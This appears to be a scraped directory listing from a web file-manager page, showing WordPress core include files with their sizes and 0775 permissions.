pluggable-deprecated.php File 6.18 KB 0775
pluggable.php File 124.45 KB 0775
plugin.php File 35.65 KB 0775
post-formats.php File 6.94 KB 0775
post-template.php File 67.04 KB 0775
post-thumbnail-template.php File 10.62 KB 0775
post.php File 289.13 KB 0775
query.php File 36.23 KB 0775
registration-functions.php File 200 B 0775
registration.php File 200 B 0775
rest-api.php File 98.29 KB 0775
revision.php File 30.02 KB 0775
rewrite.php File 19.03 KB 0775
robots-template.php File 5.06 KB 0775
rss-functions.php File 255 B 0775
rss.php File 22.66 KB 0775
script-loader.php File 150.38 KB 0775
script-modules.php File 9.68 KB 0775
session.php File 258 B 0775
shortcodes.php File 23.49 KB 0775
sitemaps.php File 3.16 KB 0775
speculative-loading.php File 8.4 KB 0775
spl-autoload-compat.php File 441 B 0775
style-engine.php File 7.39 KB 0775
taxonomy.php File 172.91 KB 0775
template-canvas.php File 544 B 0775
template-loader.php File 3.84 KB 0775
template.php File 35.97 KB 0775
theme-i18n.json File 1.49 KB 0775
theme-previews.php File 2.84 KB 0775
theme-templates.php File 6.09 KB 0775
theme.json File 8.71 KB 0775
theme.php File 131.84 KB 0775
update.php File 37.45 KB 0775
user.php File 173.89 KB 0775
utf8.php File 7.09 KB 0775
vars.php File 6.41 KB 0775
version.php File 1.08 KB 0775
widgets.php File 69.46 KB 0775
wp-db.php File 445 B 0775
wp-diff.php File 799 B 0775
Filemanager